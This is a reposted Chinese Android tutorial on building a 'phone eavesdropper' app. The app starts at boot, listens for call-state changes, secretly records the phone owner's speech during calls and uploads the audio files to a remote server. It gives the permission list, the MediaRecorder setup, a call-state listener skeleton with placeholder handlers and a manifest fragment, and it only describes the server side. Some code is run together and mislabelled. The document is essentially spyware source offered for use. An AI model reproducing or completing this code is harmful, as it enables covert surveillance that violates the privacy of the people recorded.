读书人

Android入门:利用MediaRecorder跟Tel

发布时间: 2012-07-31 12:33:47 作者: rapoo

Android入门:利用MediaRecorder和TelephonyManager实现电话窃听器

一、电话窃听器介绍

电话窃听器定义:在A的手机装上电话窃听器应用,则如果B给A打电话,则会录制A说的话并将此音频文件上传到服务器;如图所示:
Android入门:利用MediaRecorder跟TelephonyManager实现电话窃听器

二、电话窃听器核心代码


需要的权限:
接收开机广播权限: <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>录制音频权限: <uses-permission android:name="android.permission.RECORD_AUDIO"/>读取打电话的状态权限:<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
网络通信权限: <uses-permission android:name="android.permission.INTERNET"/>

录制音频的核心代码:
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置输入流设备为麦克风
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置输出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置编码方式
recorder.setOutputFile(filename); //设置输出文件
recorder.prepare();//准备recorder.start();//开始录制recorder.stop();//停止录制
recorder.release(); //释放资源


电话服务监听核心代码:
TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//获得电话管理器
manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);//对呼叫状态进行监听
private PhoneStateListener listener = new PhoneStateListener(){
@Override
public void onCallStateChanged(int state, String incomingNumber) {//当状态改变时调用
super.onCallStateChanged(state, incomingNumber);
switch(state){
case TelephonyManager.CALL_STATE_RINGING://来电
//处理代码
break;

case TelephonyManager.CALL_STATE_IDLE://挂断电话

//处理代码

break;
case TelephonyManager.CALL_STATE_OFFHOOK://接通电话状态
//处理代码
break;
}
}
};



三、电话窃听器代码实现


客户端代码

BootBroadcastReceiver.java
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/><!-- 外界拨打权限 --><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/><!-- 接收开机广播 -->    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><!-- sdcard -->    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/><!-- sdcard -->    <uses-permission android:name="android.permission.RECORD_AUDIO"/><!-- 记录音频 --><uses-permission android:name="android.permission.READ_PHONE_STATE"/><!-- 读取电话状态 -->    <uses-permission android:name="android.permission.INTERNET"/><!-- 网络权限 -->        <application        android:icon="@drawable/ic_launcher"        android:label="@string/app_name" >       <receiver android:name=".BootBroadcastReceiver">           <intent-filter>               <action android:name="android.intent.action.BOOT_COMPLETED"/>           </intent-filter>       </receiver>       <service android:name=".PhoneService">


服务器端代码此处就不作介绍,主要功能就是接收例如 Content-Length=9435;filename=1342935941398.3gp;sourceid=1278916111468和3GP文件



读书人网 >Android

热点推荐